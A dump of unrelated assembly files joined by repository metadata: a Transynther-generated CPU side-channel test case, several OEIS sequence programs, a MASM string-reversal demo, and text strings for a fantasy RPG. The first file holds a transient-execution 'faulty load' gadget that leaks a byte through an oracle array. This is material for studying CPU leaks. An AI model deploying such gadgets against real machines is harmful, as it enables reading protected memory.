] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_20388_2195.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x5f75, %r8
nop
and %r13, %r13
mov (%r8), %r14d
nop
nop
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x761d, %rsi
lea addresses_WT_ht+0x1ecd, %rdi
nop
nop
dec %r10
mov $27, %rcx
rep movsw
nop
nop
sub %r13, %r13
lea addresses_WT_ht+0x1eac9, %r14
nop
nop
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
movups %xmm7, (%r14)
nop
nop
add %r14, %r14
lea addresses_normal_ht+0x1d38d, %rsi
lea addresses_WC_ht+0xfcd, %rdi
nop
nop
nop
and %r14, %r14
mov $70, %rcx
rep movsl
nop
sub $14806, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rax
push %rcx
push %rsi
// Store
lea addresses_D+0x1312d, %r14
nop
nop
nop
and %rcx, %rcx
movb $0x51, (%r14)
nop
nop
nop
nop
nop
sub $58886, %rsi
// Store
mov $0xe0d, %rcx
nop
nop
nop
nop
nop
sub %rax, %rax
movw $0x5152, (%rcx)
nop
add %r13, %r13
// Store
lea addresses_RW+0xf395, %r11
nop
nop
nop
nop
nop
inc %r14
mov $0x5152535455565758, %rax
movq %rax, %xmm0
vmovups %ymm0, (%r11)
nop
inc %rsi
// Store
lea addresses_RW+0x11bcd, %rcx
nop
nop
add %r11, %r11
movb $0x51, (%rcx)
inc %rsi
// Store
lea addresses_US+0x42fd, %rsi
nop
nop
xor $5482, %r11
movw $0x5152, (%rsi)
and %r10, %r10
// Store
lea addresses_A+0x172cd, %rcx
nop
nop
nop
sub %rax, %rax
movb $0x51, (%rcx)
nop
dec %rcx
// Faulty Load
lea addresses_D+0x9fcd, %rsi
nop
nop
nop
nop
nop
sub %rax, %rax
movups (%rsi), %xmm3
vpextrq $1, %xmm3, %rcx
lea oracles, %rsi
and $0xff, %rcx
shlq $12, %rcx
mov (%rsi,%rcx,1), %rcx
pop %rsi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}}
{'36': 20388}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 35.187845 | 2,999 | 0.652693 |
23874efbb46c105bd98bb2f7eecea86a9d016887 | 853 | asm | Assembly | programs/oeis/027/A027961.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/027/A027961.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/027/A027961.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A027961: a(n) = Lucas(n+2) - 3.
; 1,4,8,15,26,44,73,120,196,319,518,840,1361,2204,3568,5775,9346,15124,24473,39600,64076,103679,167758,271440,439201,710644,1149848,1860495,3010346,4870844,7881193,12752040,20633236,33385279,54018518,87403800,141422321,228826124,370248448,599074575,969323026,1568397604,2537720633,4106118240,6643838876,10749957119,17393795998,28143753120,45537549121,73681302244,119218851368,192900153615,312119004986,505019158604,817138163593,1322157322200,2139295485796,3461452807999,5600748293798,9062201101800,14662949395601,23725150497404,38388099893008,62113250390415,100501350283426,162614600673844,263115950957273,425730551631120,688846502588396,1114577054219519,1803423556807918,2918000611027440,4721424167835361,7639424778862804
mov $1,12
mov $2,9
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
div $1,3
sub $1,3
| 60.928571 | 722 | 0.834701 |
0bace574df01fcb04b6380b98ea02f806cc366cd | 449 | asm | Assembly | oeis/044/A044720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/044/A044720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/044/A044720.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A044720: Numbers n such that string 0,7 occurs in the base 10 representation of n but not of n+1.
; Submitted by Christian Krause
; 107,207,307,407,507,607,707,807,907,1007,1079,1107,1207,1307,1407,1507,1607,1707,1807,1907,2007,2079,2107,2207,2307,2407,2507,2607,2707,2807,2907,3007,3079,3107,3207,3307,3407,3507
seq $0,44340 ; Numbers n such that string 0,8 occurs in the base 10 representation of n but not of n-1.
mov $1,$0
sub $1,1
mov $0,$1
| 49.888889 | 182 | 0.74833 |
441f7e437781ad4f8712abdd4f33916f1322bfb2 | 591 | asm | Assembly | wasm/part0701/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | wasm/part0701/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | wasm/part0701/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | .386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
.data
SampleString db "The string to invert.", 0
TempString db 2 DUP(0)
.code
start:
invoke szLen, addr SampleString
PrintNextChar:
xor ebx, ebx
mov bl, SampleString[eax-1]
mov TempString, bl
push eax
invoke StdOut, addr TempString
pop eax
dec eax
jne PrintNextChar
invoke ExitProcess, 0
end start
| 15.552632 | 46 | 0.707276 |
17d033068c81b48672ece3595352fc819e722536 | 731 | asm | Assembly | programs/oeis/135/A135570.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/135/A135570.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/135/A135570.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A135570: a(n) = 1 + Sum_{i=1..n} S2(i)*2^i, where S2(n) is digit sum of n, n in binary notation.
; 1,3,7,23,39,103,231,615,871,1895,3943,10087,18279,42855,92007,223079,288615,550759,1075047,2647911,4745063,11036519,23619431,57173863,90728295,191391591,392718183,929589095,1734895463,3882379111,8177346407,18914764647,23209731943,40389601127,74749339495,177828554599,315267508071,727584368487,1552218089319,3751241344871,5950264600423,12547334367079,25741473900391,60925845989223,113702404122471,254439892477799,535914869188455,1239602310965095,1802552264386407,3491402124650343,6869101845178215
lpb $0,1
add $1,$0
mul $1,2
mov $2,$0
lpb $0,1
sub $1,$0
div $0,2
lpe
sub $0,1
add $0,$2
lpe
mul $1,2
add $1,1
| 43 | 497 | 0.774282 |
aca7fae3b75dc19ecf1d6b16477f7111e1421e1d | 670 | asm | Assembly | oeis/109/A109116.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/109/A109116.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/109/A109116.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A109116: a(n) = (n+1)^3*(n+2)^2*(n+5).
; Submitted by Jon Maiga
; 20,432,3024,12800,40500,105840,241472,497664,947700,1694000,2874960,4672512,7320404,11113200,16416000,23674880,33428052,46317744,63102800,84672000,112058100,146452592,189221184,241920000,306312500,384387120,478375632,590772224,724353300,882198000,1067709440,1284636672,1537097364,1829601200,2167074000,2554882560,2998860212,3505333104,4081147200,4733696000,5470948980,6301480752,7234500944,8279884800,9448204500,10750761200,12199617792,13807632384,15588492500,17556750000,19727856720,22118200832
mov $1,$0
add $0,1
add $1,4
mul $1,$0
pow $1,2
div $1,4
add $1,$0
mul $1,$0
mul $1,$0
mov $0,$1
mul $0,4
| 41.875 | 497 | 0.798507 |
af19e3fbe5c74463fdcb2efe6554dc65c2d61504 | 716 | asm | Assembly | oeis/038/A038051.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/038/A038051.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/038/A038051.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A038051: G.f.: B(x/(1-x)) where B is g.f. of A000169.
; Submitted by Christian Krause
; 1,3,14,98,944,11642,175108,3108310,63601168,1473864722,38152990484,1091172974102,34169139856024,1162736848398010,42723615842296540,1685853467536076798,71101435046807892512,3191843270961299033762,151956292916451992949028,7647074174061818952373990,405606999662504909399728936,22615669177980119502059398538,1322439897031698017874896162924,80922100128062025203683631234894,5171620437802512539280839046073648,344563499798843579910112872647767282,23893103682892007688714280338875922868
mov $4,$0
add $0,1
lpb $0
sub $0,1
mov $2,$1
add $2,1
pow $2,$1
mov $3,$4
bin $3,$1
add $1,1
mul $3,$2
add $5,$3
lpe
mov $0,$5
| 37.684211 | 481 | 0.807263 |
3e8ab8d52a08ad7deb625ef90b1a7c950f81f5c2 | 35,554 | asm | Assembly | assemblyProject.asm | jaresinunez/RPG_Game_Assembly_Language | fe95191d4df11ef4a11d701c23cf9e65d898ade0 | [
"Apache-2.0"
] | null | null | null | assemblyProject.asm | jaresinunez/RPG_Game_Assembly_Language | fe95191d4df11ef4a11d701c23cf9e65d898ade0 | [
"Apache-2.0"
] | null | null | null | assemblyProject.asm | jaresinunez/RPG_Game_Assembly_Language | fe95191d4df11ef4a11d701c23cf9e65d898ade0 | [
"Apache-2.0"
] | null | null | null | include irvine32.inc
.data
period BYTE ". " ,0
msg0 BYTE "You are too young to adventure. Maybe when you're older :))" ,0dh,0ah,0
msg1 BYTE "What is your name?" ,0dh,0ah,0
name1 BYTE " " ,0dh,0
msg2 BYTE "What is your race?" ,0dh,0ah,0
msg2a BYTE "Please type in your race." ,0dh,0ah,0
race1 BYTE "- Human" , 0dh,0ah,0
race2 BYTE "- Elf" ,0dh,0ah,0
race3 BYTE "- Orc" ,0dh,0ah,0
race4 BYTE "- Tiefling" ,0dh,0ah,0
race5 BYTE "- Halfling" ,0dh,0ah,0
race6 BYTE "- Gnome" ,0dh,0ah,0
race7 BYTE "- Half-Elf" ,0dh,0ah, 0
race111 BYTE " " ,0dh,0
msg3 BYTE "How old are you?" ,0dh,0ah,0
age BYTE 0
text164 BYTE "You David and Goliath this ho!" ,0dh,0ah,0
text165 BYTE "He ded.",0dh,0ah,0
text166 BYTE "You just killed the leader of Ocla.",0dh,0ah,0
text167 BYTE "The stone beckons to you.",0dh,0ah,0
;--------------------------------------------------------------------------------------------
;story elements
introText1 BYTE "Two hundred years ago there was a war of races. Before was a" ,0dh,0ah
introText2 BYTE "time where magic thrived and the races lived in peace; then" ,0dh,0ah
introText3 BYTE "a Warlock rose to power and the races split. Tieflings, Orcs," ,0dh,0ah
introText4 BYTE "and some elves followed the Warlock. Eventually the warlock" ,0dh,0ah
introText5 BYTE "fell and the races that followed him were shamed; the faction" ,0dh,0ah
introText6 BYTE "of elves that fell moved underground that became the Drow who" ,0dh,0ah
introText7 BYTE "retreated into darkness and are seldom seen; Orcs and Tieflings" ,0dh,0ah
introText8 BYTE "have been discriminated against ever since." ,0dh,0ah,0
text0 BYTE "You, " ,0
text1 BYTE " are a " ,0
text2 BYTE " year old " ,0
text3 BYTE ". You start as a lawyer." ,0
text4 BYTE "Your focus is fighting the discrimination that the races face. " ,0dh,0ah,0
text5 BYTE "One day you are made aware of one particular case. An Orcish " ,0dh,0ah
text6 BYTE "cop was stripped of his position and accused of murder. You" ,0dh,0ah
text7 BYTE "are told that there was a shoot out and an elvish boy was" ,0dh,0ah
text8 BYTE "killed and the orcish cop blamed by the boy's parents and" ,0dh,0ah
text9 BYTE "the general community." ,0dh,0ah,0
text10 BYTE "Your Secratary: " ,0dh,0ah
text11 BYTE "I've just been informed that Diaz is at the Blue Bell motel." ,0dh,0ah,0
text12 BYTE "You've been trying to get a hold of her for days to plead Officer" ,0dh,0ah
text13 BYTE "Dixon's case." ,0dh,0ah,0
text14 BYTE "You rush to meet her." ,0dh,0ah,0
text14a BYTE "Diaz:" ,0dh,0ah,0
text15 BYTE " this is a crime scene! If you need to get a hold of me you may set" ,0dh,0ah
text16 BYTE "an appointment with my secratary." ,0dh,0ah,0
text17 BYTE "Possible Responses:" ,0dh,0ah
text18 BYTE "1. I was in town." ,0dh,0ah
text19 BYTE "2. It's Urgent." ,0dh,0ah
text20 BYTE "3. So you could tell her to blow me off again? I don't think so." ,0dh,0ah,0ah,0
;if 1.
text21 BYTE "Diaz:" ,0dh,0ah
text22 BYTE "I highly doubt that. What do you need?" ,0dh,0ah,0
text23 BYTE "You:" ,0dh,0ah
text24 BYTE "I need you to put your pejudices aside and take a moment to look" ,0dh,0ah
text25 BYTE "at this case as if Dixon was a human. There is no way he could" ,0dh,0ah
text26 BYTE "have killed that boy; he had no motice or oportunity. When he was",0dh,0ah
text27 BYTE "shot, Dixon was in his vehicle calling for backup. His vehicle" ,0dh,0ah
text28 BYTE "which, might I add, had no bullet holds exhibiting entry signs" ,0dh,0ah
text29 BYTE "from the inside indicating that no shots were fired from inside" ,0dh,0ah
text30 BYTE "the car. ",0dh,0ah,0
text31 BYTE "Diaz:" ,0dh,0ah
text32 BYTE "You have no witnesses. Orcs are bad. It's in their blood. Thats" ,0dh,0ah
text33 BYTE "enough motive for me and it'll be enough motive for the judge." ,0dh,0ah
text34 BYTE "My mistake was in ever allowing one of those things to enter the" ,0dh,0ah
text35 BYTE "police force. They chose evil 200 years ago and they'll keep" ,0dh,0ah
text36 BYTE "chosing evil every chance they get. Sorry but your guy belongs in" ,0dh,0ah
text37 BYTE "jail. Even if he's not guilty of THIS crime, he's guilty of" ,0dh,0ah
text38 BYTE "something I'm sure and that boy is still dead because of him." ,0dh,0ah,0
;;choice2
text39 BYTE "Diaz:" ,0dh,0ah
text40 BYTE "Not if it's about Dixon it's not. He's guilty and everyone knows" ,0dh,0ah
text41 BYTE "it. He'll be convicted and rot in jail where he, and the rest of" ,0dh,0ah
text42 BYTE "those animals belong. I have more pressing matters to attend to." ,0dh,0ah,0
text43 BYTE "You:",0dh,0ah
text44 BYTE "You're mistak-",0dh,0ah,0
text45 BYTE "Diaz:" ,0dh,0ah
text46 BYTE "The only things I'm guilty of being mistaken of is ever allowing one",0dh,0ah
text47 BYTE "of those things to enter my force and ever believing you were anything",0dh,0ah
text48 BYTE "more than a nieve " ,0
text49 BYTE ". " ,0dh,0ah
text50 BYTE "Orcs chose evil 200 years ago and will continue doing so every chance",0dh,0ah
text51 BYTE "they get. Your guy belongs in jail. Even if he's not guilty of THIS" ,0dh,0ah
text52 BYTE "crime, he's guilty of something else and that boy is still dead because" ,0dh,0ah
text53 BYTE "of him." ,0dh,0ah,0
;;choice3
text54 BYTE "You:" ,0dh,0ah
text55 BYTE "Dixon is innocent and you and I both know it. Are you sure you didn't",0dh,0ah
text56 BYTE "see anything? You got there seconds before the boy was shot. Can you" ,0dh,0ah
text57 BYTE "testify that Dixon was in his vehicle calling for backup when you got",0dh,0ah
text58 BYTE "there?",0dh,0ah,0
text59 BYTE "Diaz:" ,0dh,0ah
text60 BYTE "I already told you I didn't see him. Officer Rodriguez saw the boy" ,0dh,0ah
text61 BYTE "approaching the vehicle, looked away, and when he turned Dixon was over",0dh,0ah
text62 BYTE "the boy's body. He's guilty and everyone knows it. He'll be convicted and",0dh,0ah
text63 BYTE "rot in jail where he and the rest of those animals belong. They chose",0dh,0ah
text64 BYTE "evil 200 years ago and they'll keep chosing evil every chance they get.",0dh,0ah
text65 BYTE "Sorry but your guy belongs in jail. Even if he's not guilty of this ",0dh,0ah
text66 BYTE "crime, he's guilty of something else and that boy is still dead because",0dh,0ah
text67 BYTE "of him.",0dh,0ah,0
;story1
text68 BYTE "As you approach the room detective Diaz entered you see a glowing blue" ,0dh,0ah
test69 BYTE "light and a room full of officeres and Diaz standing in shock. An ",0dh,0ah
text70 BYTE "elvish woman is held mid air by what seems to be glowing roots from a",0dh,0ah
text71 BYTE "tree not present The roots are penetrating her abdomen, legs, and arms.",0dh,0ah
text72 BYTE "She is completely entangled in a cusifix position.",0dh,0ah,0ah
text73 BYTE "1. Walk closer to the woman." ,0dh,0ah
text74 BYTE "2. Join the cluster of officers" ,0dh,0ah,0ah,0
;;choice2a
text75 BYTE "As you approach the woman you find that you recognize her. Your brother" ,0dh,0ah
text76 BYTE "was part of her clan/cult that got him killed.",0dh,0ah,0
text77 BYTE "You:" ,0dh,0ah
text78 BYTE "I know her. Her name is Oriana; she's part of Ocla.",0dh,0ah,0
text79 BYTE "Officer1:",0dh,0ah
text80 BYTE "I'd keep my distance, she's still alive." ,0dh,0ah,0
text81 BYTE "The woman suddenly grabs hold of you harshly, almost drawing blood with",0dh,0ah
text82 BYTE "her nails, and whispers to you in a voice deeper than you've ever heard",0dh,0ah
text83 BYTE "or would've expected for a beautiful woman.",0dh,0ah,0
;;choice2b
text84 BYTE "You hear whisperings.",0dh,0ah,0
text85 BYTE "Officer 1:",0dh,0ah
text86 BYTE "You think it's them?",0dh,0ah,0
text87 BYTE "Officer 2:" ,0dh,0ah
text88 BYTE "Who else would it be?" ,0dh,0ah,0
text89 BYTE "Officer 1:" ,0dh,0ah
text90 BYTE "Even so if they managed to get their hands on that stone...",0dh,0ah,0
text91 BYTE "Officer 3:" ,0dh,0ah
text92 BYTE "Don't be rediculous! Those stones were destroyed 200 years ago. There",0dh,0ah
text93 BYTE "is no way this is magic. There is no such thing...not anymore.",0dh,0ah,0
text94 BYTE "Suddenly the woman cunvulses. She looks you directly in the eye and, with",0dh,0ah
text95 BYTE "a bomming voice, she says:",0dh,0ah,0
;;story2
text96 BYTE "Woman:",0dh,0ah
text97 BYTE "You're too late ",0
text98 BYTE ", HE will rise. [her head jerks and she grins] And you will burn!",0dh,0ah,0
text99 BYTE "There is suddenly a huge explosion.",0dh,0ah,0
text100 BYTE "You're SOCKS are effectively KNOCKED OFF!",0dh,0ah,0
text103 BYTE "The magnitude of the explostion throws you into the wall behind you.",0dh,0ah,0
text104 BYTE "You look around you. About 8 of the 12 officers in the room have",0dh,0ah
text105 BYTE "been fataly impaled in some way or another.",0dh,0ah,0
text106 BYTE "Only four officers and Diaz look to have survived.",0dh,0ah,0
text107 BYTE "There is a glowing stone left where the elvish woman used to be.",0dh,0ah,0ah
text108 BYTE "Could it be The stone?",0dh,0ah,0ah
text109 BYTE "Possible actions:" ,0dh,0ah,0ah
text110 BYTE "1. Pick up the stone" ,0dh,0ah
text111 BYTE "2. Call for help" ,0dh,0ah
text112 BYTE "3. Check on Diaz" ,0dh,0ah,0
;---------------------------------------------------------------------------------------
;ENDING NUMBER ONE
text113 BYTE "You Die." ,0dh,0ah,0
text114 BYTE "The stone's sheer power is too much for you to handle." ,0dh,0ah,0
;---------------------------------------------------------------------------------------
text115 BYTE "You run to the hallway calling for help.",0dh,0ah,0
text116 BYTE "A man in a black ski mask jumps out at you.",0dh,0ah
text117 BYTE "He is holding a knife in his hand.",0dh,0ah,0ah
text118 BYTE "1. Run back",0dh,0ah
text119 BYTE "2. Fight him",0dh,0ah,0ah,0
;CHOICE1
text120 BYTE "He gets an attack of oportunity",0dh,0ah,0
text121 BYTE "You lose 5 HP.",0dh,0ah,0
text122 BYTE "He trips you.",0dh,0ah,0
text123 BYTE "You lose 2 HP.",0dh,0ah,0
text124 BYTE "1. Get up",0dh,0ah
text125 BYTE "2. Ask him about himself",0dh,0ah
text126 BYTE "3. Throw a rock at him",0dh,0ah,0
;ONE
text131 BYTE "You stand.",0dh,0ah,0
text132 BYTE "He punches you.",0dh,0ah,0
text133 BYTE "He takes 3 HP",0dh,0ah,0
text134 BYTE "He's confused for a second. Now his expression is petrified.",0dh,0ah,0
;--------------OR--------------------------------------------------------------------------
text163 BYTE "He is confused for a second.",0dh,0ah,0ah
text158 BYTE "He tells you he is married to the best woman alive and has 3 beautiful",0dh,0ah
text159 BYTE "kids with her",0dh,0ah,0
text160 BYTE "Him:",0dh,0ah
text161 BYTE "She'll love to hear that I got the stone so we can raise Master and",0dh,0ah
text162 BYTE "that I killed you :)",0dh,0ah,0
;------------------------------------------------------------------------------------------
;;;THEN HE PUNCHES THE PLAYER
;------------------------------------------------------------------------------------------
text135 BYTE "The Man:" ,0dh,0ah
text136 BYTE "It can't be. No!",0dh,0ah,0
text137 BYTE "He dashes toward the stone and picks it up.",0dh,0ah,0
text138 BYTE "He screams in pain before literally disintegrating.",0dh,0ah,0
text139 BYTE "Literally",0dh,0ah,0
text140 BYTE "He actually did a spidey Endgame Prt. 1 exit.",0dh,0ah,0
text141 BYTE "You should want to go nowhere near this thing. But it seems to be",0dh,0ah
text142 BYTE "calling you.",0dh,0ah,0
text143 BYTE "You go to pick it up.",0dh,0ah,0
text144 BYTE "You feel as if you've been connected to it all your life. You know",0dh,0ah
text145 BYTE "exactly how to use it and it's capabilites.",0dh,0ah,0
;REPEATED LINE -----------------------------------------------------
text146 BYTE "You just stopped the possible apocolypse.",0dh,0ah,0
text147 BYTE "Diaz is very greatful." ,0dh,0ah,0
text148 BYTE "What are you gunna do?" ,0dh,0ah
text149 BYTE "1. Take Diaz home",0dh,0ah
text150 BYTE "2. Hide the stone for your use later",0dh,0ah
test151 BYTE "3. Give the stone to the authorities",0dh,0ah,0
text152 BYTE "The cops were dirty.",0dh,0ah,0ah
text153 BYTE "They used the stone to make themselves rich and to attract men and",0dh,0ah
text154 BYTE "women and eventually fell into the hands of the Ocla.",0dh,0ah,0ah
text155 BYTE "It turns out the elvish woman was right. You were burned alive. You",0dh,0ah
text156 BYTE "were the only one who could stop the warlock but when he rose, the",0dh,0ah
text157 BYTE "first thing he and his followers did was destroy you.",0dh,0ah,0
;---------------------------------------------------------------------------------------
;ANOTHER CHOICE
text127 BYTE "Chose a weapon.",0dh,0ah,0ah
text128 BYTE "1. Rock",0dh,0ah
text129 BYTE "2. Steel rod",0dh,0ah
text130 BYTE "3. Crowbar",0dh,0ah,0
;;DISPLAY HIT POINTS
text01 BYTE "You lose ",0
text02 BYTE " HP.",0dh,0ah,0
text03 BYTE "END",0dh,0ah,0
text101 BYTE "MAX HP: 20",0dh,0ah
text102 BYTE "Current HP: ",0
;----------------------------------------------------------------------------------------
; CROWBAR
;----------------------------------------------------------------------------------------
text168 BYTE "What you thought was a crowbar was actually a peice of cement",0dh,0ah
text169 BYTE "with an iron rod at the of it.",0dh,0ah,0
text170 BYTE "Silly you!",0dh,0ah,0
